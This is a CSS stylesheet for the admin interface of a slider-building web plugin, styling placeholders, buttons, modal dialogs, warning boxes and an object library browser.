.rs_overview  input.flat_input:hover::-moz-placeholder            { color: #fff !important; }
.rs_overview  input.flat_input:hover:-ms-input-placeholder       { color: #fff !important;}
.rs_overview  input.flat_input:hover:-moz-placeholder            { color: #fff !important;}
.rs_overview  input.flat_input:focus::-webkit-input-placeholder  { color: transparent !important;}
.rs_overview  input.flat_input:focus::-moz-placeholder            { color: transparent !important; }
.rs_overview  input.flat_input:focus:-ms-input-placeholder       { color: transparent !important;}
.rs_overview  input.flat_input:focus:-moz-placeholder            { color: transparent !important;}

/* CODE INPUT */

.rs_overview input.codeinput { font-size: 17px; color:#fff; background: none; border: 1px solid #323438; outline:none; box-shadow: none; font-weight: 500;  line-height:50px; padding: 0px 20px;  width:100%;}
.rs_overview  input.codeinput::-webkit-input-placeholder  { color: #b7bbc0;}
.rs_overview  input.codeinput::-moz-placeholder            { color: #b7bbc0;}
.rs_overview  input.codeinput:-ms-input-placeholder       { color: #b7bbc0;}
.rs_overview  input.codeinput:-moz-placeholder            { color: #b7bbc0;}
.rs_overview  input.codeinput:hover::-webkit-input-placeholder  { color: #fff !important;}
.rs_overview  input.codeinput:hover::-moz-placeholder            { color: #fff !important; }
.rs_overview  input.codeinput:hover:-ms-input-placeholder       { color: #fff !important;}
.rs_overview  input.codeinput:hover:-moz-placeholder            { color: #fff !important;}
.rs_overview  input.codeinput:focus::-webkit-input-placeholder  { color: transparent !important;}
.rs_overview  input.codeinput:focus::-moz-placeholder            { color: transparent !important; }
.rs_overview  input.codeinput:focus:-ms-input-placeholder       { color: transparent !important;}
.rs_overview  input.codeinput:focus:-moz-placeholder            { color: transparent !important;}

/* AUTOWIDTH CHANGES */
.rs_fh_left { float: left; display: inline-block; line-height: 50px; vertical-align: top }
.rs_fh_right { float: right;  text-align: right; line-height: 50px; vertical-align: top}

#register_trustpilot_wrap {
  padding: 30px 30px;
  background:#2a2c2f;
  border-radius: 4px;
  margin-bottom:100px;
  display: none;
  position:relative;
}

.thicon { 
  width:32px; height:31px; background-image:url(../images/thicon.png); background-repeat:no-repeat; background-size:32px 31px; background-position:center;line-height: 31px;vertical-align: top; display:inline-block; margin:0px 0px 0px 5px;
}

#register_trustpilot_wrap a.purplesmallbutton,
#register_trustpilot_wrap a.purplesmallbutton:visited {  
  padding:0px 35px;
  background: #5d34af;    
  line-height: 40px !important;
  color: #fff !important;
  font-size: 15px;
  font-weight: 500;
  cursor: pointer;
  border-radius: 4px;
  text-decoration: none !important;
  display: inline-block;  
  outline:none !important;
  box-shadow: none !important;
}
#register_trustpilot_wrap a.purplesmallbutton:hover {
  filter:brightness(110%);
}

#register_trustpilot_wrap h3.pli_title {
  text-align:left;
  margin-bottom:0px;   
  display:inline-block;
  color:#b7bbc0;
}

.rs_trustpilot_bg {  
  width:101px; height:40px; background-image:url(../images/trustpilot.png); background-repeat:no-repeat; background-size:contain; background-position:0px 3px;line-height: 40px;vertical-align: top; display:inline-block; margin:0px 0px 0px 10px;
}

#trust_closer { position: absolute; top:0px; right:0px; padding:20px;cursor: pointer; }
#trust_closer:hover { filter:brightness(110%)}

#trust_closer i.material-icons { color:#b7bbc0; font-size: 25px;}

#register_trustpilot_wrap .pli_left { border:none;}
#register_trustpilot_wrap .pli_right { border:none; padding-left:0px}
@media only screen and (max-width: 820px) {
  #register_trustpilot_wrap .pli_right { margin-top:30px}
}

/**********************************
  - REVOLUTION BUTTON BAISCS  -
***********************************/


._TPRB_ .basic_action_coloredbutton,
._TPRB_ .basic_action_button   { text-decoration:none; text-align:left;background: #3a3e44; width:160px; color: #b7bbc0;line-height: 30px; padding: 0px 15px; font-size: 13px; font-weight: 400; display: inline-block; box-sizing: border-box;  margin-bottom: 10px; cursor: pointer; vertical-align: top; border-radius: 3px}

._TPRB_ .basic_action_button:focus { outline: none; box-shadow: none; }
._TPRB_ .basic_action_button.disabled { pointer-events: none; background: #35383d; color: rgba(183,187,192,0.4); }
._TPRB_ .basic_action_button.disabled i {  color: rgba(183,187,192,0.4);}

._TPRB_ .basic_action_coloredbutton.longbutton,
._TPRB_ .basic_action_button.longbutton     {  width: 185px; text-align: center; }
._TPRB_ .basic_action_coloredbutton.fullbutton,
._TPRB_ .basic_action_button.fullbutton     {  width: 100%; text-align: center; }
._TPRB_ .basic_action_coloredbutton.autosize,
._TPRB_ .basic_action_button.autosize { width: auto; margin-right: 5px; }
._TPRB_ .basic_action_coloredbutton.rightbutton,
._TPRB_ .basic_action_button.rightbutton { float: right; margin-right: 0px }
._TPRB_ .basic_action_coloredbutton i,
._TPRB_ .basic_action_button i { color: #b7bbc0;font-size: 17px; margin-right: 10px;line-height: inherit }
._TPRB_ .basic_action_coloredbutton { color: #fff; background: #006dd2 }
._TPRB_ .basic_action_lilabutton:focus,
._TPRB_ .basic_action_lilabutton:visited,
._TPRB_ .basic_action_lilabutton { color: #fff; background: #5e35b1 }
._TPRB_ .basic_action_lilabutton i { color: #fff; }
._TPRB_ .dark_action_button { background: #2a2c2f; }
._TPRB_ .big_purple_linkbutton { line-height: 70px; width: 100%; background: #5d36ad; color: #fff; font-weight: 300;cursor: pointer; font-size: 20px; text-align: center }
._TPRB_ .big_purple_linkbutton b { font-weight: 500; }
._TPRB_ .big_purple_linkbutton:hover { filter: brightness(110%); }
._TPRB_ .basic_action_coloredbutton:hover,
._TPRB_ .basic_action_coloredbutton.selected { background: #0b5fab; }
._TPRB_ .basic_action_coloredbutton i { color: #fff; }
._TPRB_ .basic_action_button:hover,
._TPRB_ .basic_action_button.selected { color: #fff; background: #006dd2; }
._TPRB_ .basic_action_button.errorcopy { transition:0.4s all;  border-color: #f82c90 !important; color:#f82c90 !important;}
._TPRB_ .basic_action_button:hover i { color: #fff; }
._TPRB_ .basic_action_lilabutton:hover { background: #5e35b1;filter: brightness(110%) }
._TPRB_ .large_actionbutton.basic_action_coloredbutton {  line-height: 50px; font-size: 17px; font-weight: 500; padding:0px 45px; border:none; background:#006dd2; min-width: 160px; text-align: center}
._TPRB_ .large_actionbutton.basic_action_button  { line-height: 50px; font-size: 17px; font-weight: 500; padding:0px 45px; border:none; background:#2a2c2f; min-width: 160px; text-align: center}
._TPRB_ .basic_action_coloredbutton:hover { filter: brightness(110%);}

/**********************************
  - REVOLUTION BUILDER MODAL -
***********************************/

#rbm_notactive_warning,
#rbm_notactiveaddon_warning { width:680px;  background-color:#202224; background-image:url(../images/warningbg.jpg);background-size:contain;background-position:top center; background-repeat:no-repeat}

#rbm_notactiveaddon_warning .rbm_content,
#rbm_notactive_warning .rbm_content { padding:50px 40px;}

#rbm_notactiveaddon_warning .mcg_page_title,
#rbm_notactive_warning .mcg_page_title { margin-bottom:10px; line-height:30px; font-size:25px; font-weight:500}

#rbm_notactive_warning .simpletext.smalllink,
#rbm_notactive_warning .simpletext a.smalllink,
#rbm_notactiveaddon_warning .simpletext.smalllink,
#rbm_notactiveaddon_warning .simpletext a.smalllink{  font-size:14px; line-height:30px; color:#7b7c7d; }

#rbm_notactiveaddon_warning .simpletext.smalllink:hover,
#rbm_notactiveaddon_warning .simpletext a.smalllink:hover,
#rbm_notactive_warning .simpletext a.smalllink:hover,
#rbm_notactive_warning .simpletext.smalllink:hover {   color:#fff}

#rbm_notactive_warning .simpletext,
#rbm_notactiveaddon_warning .simpletext { font-size:14px; line-height: 20px; font-weight:400; color:#7b7c7d; opacity:1;}
.dr_warningbox {
  background:#2a2c2f;
  display:block;
  padding:25px; box-sizing: border-box;text-align: center;
}

.dr_warningbox .mcg_page_subtitle { font-size:17px; line-height:20px; color:#fff; font-weight:400;}
.dr_warningbox .mcg_page_content { font-size:14px; line-height:25px; color:#fff; opacity:0.5;font-weight:400;}
.dr_warningbox .material-icons { line-height:20px; font-size:25px;}
.warningicon { color:#ff2021}

.bigredwarning,
.bigyellowwarning {  text-align: center; display: block; margin-bottom:22px}
.bigredwarning .material-icons,
.bigyellowwarning .material-icons 
{ display:inline-block; border-radius:50%; padding:0px 10px; background:#ff2021; color:#fff; font-size:40px; line-height:60px !important}

.bigyellowwarning .material-icons { background:#ffb818}

.deactivated_addon { background:#2a2c2f; padding:10px 20px; text-align: left;margin-bottom:1px; position: relative;}
#list_of_deactivated_addons {max-height: 230px;overflow: hidden;position: relative;}
.de_add_stitle { font-size:14px; line-height:25px; font-weight:500; color:#fff; width:210px; display:inline-block;}
.de_add_needs { font-size:13px; line-height:25px; font-weight:500; color:#ffb818; width:auto; display:inline-block; margin-left:20px; margin-right:5px; vertical-align: top;;}
.de_add_needs_adds { font-size:13px; line-height: 25px; font-weight: 500; color:#b7bbc0; width:auto; display: inline-block; width:215px; margin-right:10px; overflow:hidden; vertical-align: top;;}

.de_add_fix { padding:0px 15px; border-radius:4px; background:#3a3e44; font-size:13px; line-height: 25px; font-weight: 500; color:#b7bbc0; width:auto; display: inline-block;position: absolute; right:20px; top:10px; cursor:pointer}
.de_add_fix:hover {background:#006dd2; color:#fff;}
#rbm_notactive_warning .bluebutton,
#rbm_notactiveaddon_warning .bluebutton,
#rbm_notactive_warning purplebutton,
#rbm_notactiveaddon_warning purplebutton
 { padding: 0px 35px;
	line-height: 35px !important;
	color: #fff !important;
	font-size: 15px;
	font-weight: 500;
	cursor: pointer;	
	border-radius: 4px;  
	text-decoration: none !important;
	display: inline-block;
  width:auto !important;
}

#rbm_notactiveaddon_warning .bluebutton:hover,
#rbm_notactive_warning .bluebutton:hover,
#rbm_notactiveaddon_warning purplebutton:hover,
#rbm_notactive_warning purplebutton:hover
{filter:brightness(110%); }

#rbm_notactive_warning .bluebutton,
#rbm_notactiveaddon_warning .bluebutton
 { background:#006dd2;}

#rbm_notactive_warning .rbm_header.ui-draggable-handle,
#rbm_notactiveaddon_warning .rbm_header.ui-draggable-handle
 { overflow: visible;}


#rb_modal_underlay {position: fixed; background: rgb(50,52,56); opacity:0; width: 100%; height: 100%; top: 0px; left: 0px; z-index: 500000; display: none;  }
.rb-modal-wrapper {display: none;opacity: 0;position: fixed;left: 0;top: 0;width: 100%;height: 100%;z-index: 1000000;}
#rbm_optimizer_infos_wrap { z-index: 1000001;  }
#rbm_optimizer_infos { width: 500px; }
.rb-modal-wrapper .rb-modal-inner {  position: relative;width: 100%;height: 100%;}
.rb-modal-wrapper .rb-modal-content {position: absolute;top: 0;left: 0;width: 100%;height: 100%;}
.rb-modal-wrapper .rb_modal {position: relative; width: 900px;margin: 0 auto;background: #323438; box-shadow: 0px 10px 20px 0px rgba(0,0,0,0.5);}
.rb-modal-wrapper[data-modal="rbm_layer_metas"] { z-index:1000005 }
.rb_modal.form_inner { padding: 0px !important; }
._TPRB_ .rbm_header { background:#2a2c2f; line-height:50px; padding:0px 20px; color:#b7bbc0; position: relative; cursor:move; white-space: nowrap; overflow: hidden;}
._TPRB_ i.rbm_symbol.material-icons { line-height: 50px; font-size: 20px; margin-right: 15px;  }
._TPRB_ i.rbm_close.material-icons { line-height: 50px; width: 50px; position: absolute; right: 0px; top: 0px; text-align: center; display: block; font-size: 25px; color: #b7bbc0; cursor: pointer;}
._TPRB_ .rbm_title { line-height: 50px; font-size: 15px; font-weight: 500; vertical-align: top;}
._TPRB_ .rbm_darkbutton { display: inline-block; width:100%; line-height: 40px; text-align: center;  color:#b7bbc0; font-size:13px; background: #3a3e44; margin-top:1px; box-sizing: border-box; cursor:pointer;}
._TPRB_ .rbm_darkbutton i.material-icons { color: inherit; margin-right:10px; font-size: 20px }
._TPRB_ .rbm_darkbutton:hover { color: #fff; background: #006dd2; }
._TPRB_ .rbm_content_left,
._TPRB_ .rbm_content_right { min-width: 50%; max-width:50%; width:50%; box-sizing: border-box; display: block; height: 100%; display: table-cell; position: relative; vertical-align: top }
._TPRB_ .rbm_content_left { border-right: 1px solid #2a2c2f; }
#rbm_layer_action.inpickermode .rbm_content_left { pointer-events: none !important }
#rbm_preview { width: 1240px; height: 680px; }
._TPRB_ .rbm_preview_sizes,
._TPRB_ .rbm_subtitle { margin-left: 20px; border-left: 1px solid #323438; padding-left: 20px; display: inline-block; line-height: 50px; width: 140px; overflow: hidden; white-space: nowrap}

._TPRB_ .rbm_subtitle i.material-icons { color: #026dd2; font-size: 17px; margin-right: 10px; }
._TPRB_ .rbm_preview_sizes i.material-icons { color: #777c80; margin-right: 10px; cursor: pointer; font-size: 20px}
._TPRB_ .rbm_preview_sizes i.material-icons:hover,
._TPRB_ .rbm_preview_sizes i.material-icons.selected { color: #fff; } 
#rbm_preview .rbm_content { position: absolute;width: 100%;height: 100%;top:50px; left: 0px; }
#rbm_preview_live { overflow: hidden;position: absolute;width: 100%;height:100%;}
#rbm_quickguide,
#rbm_quickguide .rbm_content { width: 1200px;  }
#rbm_quickguide .rbm_content { position: relative;  height:750px; overflow: hidden}
#rbm_globalsettings{ width: 1000px; min-height: 900px; }
#rbm_globalfontsettings{ width: 860px;}
#rbm_decisionModal { width: 500px; min-height: 300px; }
#rbm_globalfontsettings .rbm_content,
#rbm_globalsettings .rbm_content,
#rbm_blocksettings .rbm_content,
#rbm_decisionModal .rbm_content { padding: 50px; }
.rbm_general_half { width: 50%;position: relative; display: inline-block; vertical-align: top; box-sizing: border-box }
#rbm_welcomeModal { width: 1200px; }
#rbm_welcomeModal .rbm_content{ background-image:url(../images/wc.jpg); background-position:top center; background-repeat:no-repeat; background-color:#212226;}
#welcome_logo { background: url(../images/wc_logo.png); background-size: contain; width:300px; height:100px; position: relative; margin:0px auto; display:block; margin-bottom:90px;}
#rbm_globalsettings .rbm_content label_a { min-width: 225px; width: 225px; }
.general_hr { width: 100%; height: 1px; border: none; margin-bottom: 20px; margin-top: 0px; background: #3f444a; }
.rbm_darkhalfbutton {  display: inline-block; width:195px; line-height: 32px; text-align: center;  color:#b7bbc0; font-size:13px; background: #3a3e44; margin-top:1px; box-sizing: border-box; cursor:pointer; box-sizing: border-box; border-radius: 4px}
.rbm_darkhalfbutton i.material-icons { color: inherit; margin-right:10px; font-size: 17px }
.rbm_darkhalfbutton:hover { color: #fff; background: #006dd2; }
.mcg_footer_content { z-index: 5; position: relative;width: 100%;height: 100%; padding: 20px 30px; box-sizing: border-box }
.mcg_fotter_text { font-size: 14px;color: #777c80;line-height: 21px;display: inline-block;margin-left: 40px;padding: 20px 0px;font-weight: 500; max-width: 505px;}
.mcg_fotter_text strong { color: #fff;  }
mcg_guide_image { width: 280px; height: 160px; background-position: top left; background-size: 280px 320px; display: block; position: relative; margin-bottom:35px;}

.mcg_guide_optionwrap { position: relative; }
.mcg_guide_optionwrap:hover mcg_guide_image,
.mcg_guide_optionwrap.selected mcg_guide_image{ background-position: bottom left; }

#rb_tlw .mcg_guide_optionwrap input[type=radio] { width: 100%;height: 100%; opacity: 0; border-radius: 0px; box-shadow: none; outline: none; position: absolute;top: 0px;left: 0px;  z-index:10;}

._TPRB_ .my-color-field { display: none; }
._TPRB_ .guide_slider { background-image: url(../images/guide/guide_slider.jpg);}
._TPRB_ .guide_scene { background-image: url(../images/guide/guide_scene.jpg);}
._TPRB_ .guide_carousel { background-image: url(../images/guide/guide_carousel.jpg);}
._TPRB_ .guide_auto { background-image: url(../images/guide/guide_auto.jpg);}
._TPRB_ .guide_fullwidth { background-image: url(../images/guide/guide_fullwidth.jpg);}
._TPRB_ .guide_fullscreen { background-image: url(../images/guide/guide_fullscreen.jpg);}
._TPRB_ .guide_autoresponsive { background-image: url(../images/guide/guide_autoresponsive.jpg);}
._TPRB_ .guide_intelligent { background-image: url(../images/guide/guide_intelligent.jpg);}
._TPRB_ .guide_manual { background-image: url(../images/guide/guide_manual.jpg);}

.rb-modal-wrapper[data-modal="rbm_layerimport"]    { z-index: 500005 }
.rb-modal-wrapper[data-modal="rbm_decisionModal"]  { z-index: 1500010 }

/*COPY RIGHT */
#rs_copyright { margin-left:260px; color:#7e8083; font-size:17px; cursor:pointer; display: inline-block}
#rs_extra_objlib_info { margin-left: 20px;color:#7e8083; font-size: 17px; display: inline-block}

#rs_extra_objlib_info i.material-icons { font-size: 13px }
#rs_extra_objlib_info a,
#rs_extra_objlib_info a:focus,
#rs_extra_objlib_info a:visited { color: #fff !important; text-decoration: underline}
#rs_extra_objlib_info a:hover 	{ color: #fff; text-decoration: none }
#rs_copyright:hover { color: #fff; }

#upload_custom_files {background:#006dd2; color:#fff; cursor:pointer; position:absolute; width:250px; text-align:center; line-height:50px; font-size:17px; font-weight:500; position:absolute; left:0px; bottom:0px; z-index: 200}
#upload_custom_files:hover { filter: brightness(110%); }
/*COPY RIGHT PANELS*/
#rbm_copyright { width: 1000px; }
#rbm_copyright .rbm_content_left { min-width: 250px;background: #323438;width: 250px;padding: 41px 40px;height: 600px; }
#rbm_copyright .rbm_content_right { min-width: 250px;background: #212226;padding: 39px 50px; width:100%;height: 600px;}
._TPRB_ .copyright_sel { line-height: 39px; font-size: 17px; color: #797b7e; cursor: pointer ; vertical-align: top; font-weight: 500}
._TPRB_ .copyright_sel i { margin-right: 15px; line-height: inherit !important }
._TPRB_ .copyright_sel:hover,
._TPRB_ .copyright_sel.selected { color: #fff; }
._TPRB_ .crm_content_wrap { display: none; }
._TPRB_ .crm_content_wrap.selected { display: block; }
._TPRB_ .crm_title { font-size: 20px; font-weight: 500; color: #fff;  line-height: 40px; margin-bottom:30px;}
._TPRB_ .crm_content { display: table; margin-bottom: 15px; }
._TPRB_ .crm_arrow { display: table-cell; width: 30px; max-width: 30px; line-height: 22px;vertical-align: top; color: #777c80; font-s ize: 20px; }
._TPRB_ .crm_text { display: table-cell; width: 100%; line-height: 22px; font-size: 14px; color: #777c80; font-weight: 400;}
._TPRB_ .crm_text b { color: #fff; font-weight: 500; }
._TPRB_ .crm_text a { color: #fff; font-weight: 400; text-decoration: underline; cursor: pointer; }
._TPRB_ .crm_text a:hover,
._TPRB_ .crm_text a:focus { text-decoration: none; color: #fff; outline:none; box-shadow: none; border:none;}
._TPRB_ .crm_info_text { line-height: 22px; color: #777c80; font-size: 12px; font-weight: 400; }
._TPRB_ .crm_infostar { line-height: 22px; vertical-align: top; display: inline-block; font-size: 12px }
._TPRB_ .crm_basic_button { color: #fff !important; margin-bottom: 20px;  }
._TPRB_ .crm_basic_button:hover,
._TPRB_ .crm_basic_button:focus { color: #fff; }

/* REST*/
._TPRB_ .overview_header_footer,
._TPRB_ .overview_header { opacity: 0; visibility: hidden }
._TPRB_ .tp-clearfix      {display: block;height: 0px;width: 100%;}
._TPRB_ .tp-clearfix {  clear:both;}
._TPRB_ .tos2 { visibility: hidden; }


/****************************
  - BEGIN OBJECT LIBRARY - 
****************************/

#objectlibrary .material-icons,
.RS_Q_E .material-icons,
._TPRB_ .material-icons {
  font-family: 'Material Icons';
  font-weight: normal;
  font-style: normal;  
  display: inline-block;  
  text-transform: none;
  letter-spacing: normal;
  word-wrap: normal;
  white-space: nowrap;
  direction: ltr;
  vertical-align: top;
  line-height: inherit;  
  -webkit-font-smoothing: antialiased;  
  text-rendering: optimizeLegibility;
  -moz-osx-font-smoothing: grayscale;
  font-feature-settings: 'liga';  
}


#objectlibrary { -webkit-font-smoothing: antialiased;-moz-osx-font-smoothing: grayscale;-webkit-touch-callout: none;text-rendering: optimizeLegibility;}
#objectlibrary .tponoffwrap.off .tponoff_inner { transform: translateX(0px); }
#objectlibrary i.material-icons.reset_select {    cursor: pointer; width: 25px;height: 25px;line-height: 25px !important;text-align: center;font-size: 17px !important; border-radius:3px; margin-top: 12px;color: #fff;background: #006dd2;display: inline-block;margin-right: 10px; display: none}
#objectlibrary { z-index: 100002; position: fixed; width: 100%; height: 100%; top: 0px;left: 0px; background: #202224; display:none;}
#ol_filters_wrap { width: 250px; height:100%; position: absolute; left: 0px; top: 0px; background: #323438; z-index: 45; }
#rs_q_close,
#ol_close { position: relative;  vertical-align: top; text-align: center; color: #b7bbc0; cursor: pointer; z-index: 100000; font-size:30px;margin-left: 20px}
#rs_q_close { position: absolute; top: 20px;right: 20px; }
#rs_q_close:hover,
#ol_close:hover { color: #fff; }
#ol_results_wrap { width: 100%; height: 100%; top: 0px;left: 0px; z-index:30; box-sizing: border-box; overflow:hidden;position: relative}
#ol_results { box-sizing: border-box; position: relative;}
#ol_right   { padding: 90px 0px 70px 300px; width:100%; height:100%; box-sizing: border-box; position: relative; overflow:hidden; z-index: 30}
#ol_right_underlay {  background: rgba(32,34,36,0.65); position: fixed; top: 0px; left: 0px; width: 100%; height: 100%; z-index: 50; display: none; cursor: pointer}
#ol_header  { position: fixed; line-height: 50px; width: 100%; display: block; top:0px; left:0px; z-index:40;  background:#202224; padding:10px 30px 10px 300px; box-sizing: border-box;}
#ol_footer  { position: fixed; line-height: 50px; width: 100%; display: block; bottom:0px; left:0px; z-index: 40; background:#202224; padding:10px 40px; box-sizing: border-box}
#objectlibrary .rb_the_logo,
.RS_Q_E .rb_the_logo { position:absolute; top:15px; left:15px; height:20px; line-height: 20px;  color: #2d2e32; background: #fff; border-radius:4px; font-size: 17px; font-weight: 900; text-align: center ; z-index: 50; padding: 0px 5px;letter-spacing: -1px }
.RS_Q_E .rb_the_logo { position:relative; top:0px; left:0px;  font-weight: 900;  padding: 0px 5px;  display: inline-block;margin-right: 15px; vertical-align: top}
#ol_filters { padding: 70px 20px 70px 40px; box-sizing: border-box; display: block;  position: relative; height: 100%; width: 100%; overflow: hidden; }
#searchobjects { font-size: 20px; color:#fff; background: none; border: none; outline:none; box-shadow: none; font-weight: 500;  line-height:50px; padding: 0px; width: 350px; }
#obj_fil_favorite,
#obj_updatefromserver,
#obj_addsliderasmodal { font-size: 17px; color: #797b7e; font-weight: 500; display: inline-block; margin-right: 25px; cursor: pointer; vertical-align: top }
#obj_fil_favorite i.material-icons,
#obj_updatefromserver i.material-icons { font-size: 17px; margin-right: 5px; }
#obj_updatefromserver { margin-left: 20px; margin-right: 0px}
#obj_fil_favorite:hover,
#obj_updatefromserver:hover,
#obj_fil_favorite.selected { color: #fff; }
#ol_pagination_wrap { display: inline-block; margin-right:20px;}

._TPRB_ .ol_filter_listelement{ font-size: 17px; color: #797b7e; line-height: 30px; cursor: pointer; vertical-align: top; position: relative; font-weight: 500}
._TPRB_ .ol_filter_listelement:hover,
._TPRB_ .ol_filter_listelement.selected { color: #fff; }
._TPRB_ .filter_type_name,
._TPRB_ .filter_tag_name { text-transform: capitalize }
._TPRB_ .ol_filter_listelement i.material-icons { margin-right: 10px; }
._TPRB_ .filter_type_name,.ol_filter_listelement i.material-icons { line-height: 30px; vertical-align: top; display: inline-block }
._TPRB_ .filtergroup_opener { position: absolute; right: 0px; top: 0px; width: 30px; height: 30px;  margin:0px; text-align: right; transform-origin: "50% 50%"}
._TPRB_ .ol_filter_group { margin: 0px; padding: 0px; display: none; }
._TPRB_ .ol_filter_type { margin-bottom: 10px; }
._TPRB_ .ol_filter_type.open .ol_filter_group { display: block; }
._TPRB_ .ol_filter_type.open .filtergroup_opener { transform: scaleY(-1); }
._TPRB_ li.ol_filter_listelement { padding-left: 40px; margin:5px 0px;}

#objectlibrary._TPRB_ .ol_filter_listelement i.material-icons.filter_tag_name_edit,
#objectlibrary._TPRB_ .ol_filter_listelement i.material-icons.filter_tag_name_delete,
#objectlibrary._TPRB_ .ol_filter_listelement i.material-icons.filter_tag_name_check,
#objectlibrary._TPRB_ .ol_filter_listelement i.material-icons.filter_tag_name_cancel { line-height:30px; font-size: 19px; margin-left: 0px;  margin-right:0px; cursor: pointer; opacity: 0.5;  display:none;position: absolute;right: -10px;z-index: 15; } 
#objectlibrary._TPRB_ .ol_filter_listelement i.material-icons.filter_tag_name_check,
#objectlibrary._TPRB_ .ol_filter_listelement i.material-icons.filter_tag_name_edit { right: 15px; }

#objectlibrary._TPRB_ .ol_filter_listelement:not(.inedit):hover i.material-icons.filter_tag_name_edit,
#objectlibrary._TPRB_ .ol_filter_listelement:not(.inedit):hover i.material-icons.filter_tag_name_delete { display: inline-block;}

#objectlibrary._TPRB_ .ol_filter_listelement.inedit:hover i.material-icons.filter_tag_name_check,
#objectlibrary._TPRB_ .ol_filter_listelement.inedit:hover i.material-icons.filter_tag_name_cancel { display: inline-block;}

#objectlibrary._TPRB_ .ol_filter_listelement i.material-icons.filter_tag_name_edit:hover,
#objectlibrary._TPRB_ .ol_filter_listelement i.material-icons.filter_tag_name_delete:hover,
#objectlibrary._TPRB_ .ol_filter_listelement i.material-icons.filter_tag_name_check:hover,
#objectlibrary._TPRB_ .ol_filter_listelement i.material-icons.filter_tag_name_cancel:hover { opacity: 1; }
#objectlibrary._TPRB_ .ol_filter_listelement span { max-width: 165px; white-space: nowrap}
#objectlibrary._TPRB_ .ol_filter_listelement .ol_gradientbg {	
	z-index: 10;
	position: absolute;
	background: linear-gradient(90deg, rgba(50,52,56,0) 0%, rgba(50,52,56,1) 40%);
	width: 60px;
	right: -25px;
	top: 0px;
	height: 30px;
	
}

#objectlibrary._TPRB_ .ol_filter_listelement:hover .ol_gradientbg {
	display: block;
	width: 120px;
}


#objectlibrary._TPRB_ .ol_filter_listelement input.filter_tag_name_input {
	z-index: 5;
	position: absolute;
    top: -2px;
    left: 29px;
    width: 165px;
    padding: 0px 10px;    
    font-size: 17px;
    color: #fff;
    background: #323438;
    border: none;
    border-radius: 0px;
    display: none;    
    outline: none;
    box-shadow: none;
    white-space: nowrap;
    max-width: 165px;
    overflow: hidden;
}

#objectlibrary._TPRB_ .ol_filter_listelement.inedit input.filter_tag_name_input {
	display: block;
}

.lilabuybutton,
.lilabuybutton:visited {
	background: #5d34af;
	padding: 0px 35px;
	line-height: 35px !important;
	color: #fff !important;
	font-size: 15px;
	font-weight: 500;
	cursor: pointer;	
	border-radius: 4px;  
	text-decoration: none !important;
	display: inline-block;    
}

.lilabuybutton:hover,
.lilabuybutton:focus {
	filter: brightness(110%);
	color: #fff !important;
}


#buynow_notregistered {
	position: absolute;
    right: 174px;
    top: 8px;
}



/* OBJECT LIBRARY ITEMS */
._TPRB_ .olibrary_custom_tagselector_wrap { width:120px; position: absolute; bottom:2px; right:0px; height:16px;  line-height: 16px; vertical-align: top; box-sizing: border-box; padding:0px 5px;}




._TPRB_ .olibrary_item { width:267px; height: 210px; display: inline-block; margin: 0px 20px 20px 0px; background: #2a2c2f;position: relative; z-index: 20 }
._TPRB_ .olibrary_media_wrap { width: 267px; height: 150px; position: absolute; left:0px; top:0px;z-index:100; background-size: cover;background-position: center}
._TPRB_ .olibrary_media_wrap.patternbg { background:url(../images/light_pattern_2x.png); background-size:16px 16px; background-repeat:repeat;  }
._TPRB_ .olibrary_media_wrap.obj_med_darkbg { background: #2a2c2f; }
._TPRB_ .ondarkpattern .olibrary_media_wrap,
._TPRB_ .olibrary_media_wrap.darkpattern { background:url(../images/dark_pattern_2x.png) !important; background-size:16px 16px; background-repeat:repeat; }
._TPRB_ .olibrary_media_wrap.lightpattern { background:url(../images/light_pattern_2x.png) !important; background-size:16px 16px; background-repeat:repeat; }
._TPRB_ .olibrary_media_style { width: 100%; height: 100%; position: absolute; top: 0px; left: 0px; display: block; background-size: cover}
._TPRB_ .olibrary_content_wrap { width: 267px; height: 60px; position: absolute;top: 150px; left:0px; background: #2a2c2f; box-sizing: border-box; padding: 5px 10px 0px;transition: all 0.3s; z-index: 101;}
._TPRB_ .olibrary_content_left { padding-right: 55px; box-sizing: border-box; display: block; position: relative}
._TPRB_ .olibrary_content_right { position: absolute; top:10px; right:10px;}
._TPRB_ .olibrary_media_overlay { width: 267px; height: 150px; position: absolute; top: 0px; left: 0px; background: rgba(0,109,210,0.75); z-index: 10;  opacity: 0; transition: all 0.3s; z-index: 101}
._TPRB_ .olibrary_content_title  { color:#b7bbc0; font-size: 15px; font-weight: 500;  display: block; line-height: 25px; vertical-align: top; margin-bottom: 7px;transition: all 0.3s; width:230px; height:22px; overflow: hidden; margin-top:1px; overflow:hidden;}
._TPRB_ .olibrary_content_title_input { display:none;color: #fff;font-size: 15px;font-weight: 500;line-height: 25px;vertical-align: top;transition: all 0.3s;width: 230px; max-width:230px; overflow:hidden; height: 22px;overflow: hidden;position: absolute;top: 1px;left: -1px;padding: 0px 0px;outline: none;border: none; background:transparent;}
._TPRB_ .olibrary_content_type,
._TPRB_ .olibrary_content_info   {  border:1px solid transparent;line-height: 14px; height: 16px; box-sizing: border-box; padding:0px 3px; display: inline-block;vertical-align: top; margin-right: 5px;  font-size:11px; text-transform: uppercase; font-weight: 500;transition: all 0.3s; pointer-events: none}
._TPRB_ .olibrary_edit_title_main {  cursor: text}
._TPRB_ i.olibrary_favorit.material-icons,
._TPRB_ i.olibrary_edit_title.material-icons { color:rgba(255,255,255,0.25); font-size: 20px; box-sizing: border-box;   text-align: center; cursor: pointer;transition: all 0.3s; z-index: 10}
._TPRB_ i.olibrary_favorit.material-icons:hover,
._TPRB_ i.olibrary_edit_title.material-icons:hover,
._TPRB_ i.olibrary_favorit.material-icons.selected { color: #fff; }
._TPRB_ .olibrary_item .olibrary_addimage_wrapper { display: block; text-align: center;top: 50%; position: absolute; left: 0px; width: 100%; height: 30px; transform: translateY(-50%); }
._TPRB_ .olibrary_item i.material-icons.ol_link_to_deeper,
._TPRB_ .olibrary_item .avtivationicon,
._TPRB_ .olibrary_item i.material-icons.ol_link_to_delete,
._TPRB_ .olibrary_item i.material-icons.ol_link_to_add,
._TPRB_ .olibrary_item i.material-icons.ol_link_to_view { cursor:pointer; text-align: center ; z-index: 20; width: 50px; height: 50px; line-height:50px !important; color:#006dd2; font-size:30px; position: absolute; top: 50px; left: 50%; margin-left: 5px; background: #fff; border-radius: 35px; display:none; box-shadow:0px 3px 10px 0px rgba(0,0,0,0.25); transition: all 0.3s; transform:translateX(30px);}
._TPRB_ .olibrary_item .avtivationicon { width: auto;  font-size:15px; display: inline-block; height: 40px;line-height: 40px !important;padding: 0px 15px 0px 10px; white-space: nowrap; font-weight:600; margin: 0px; }
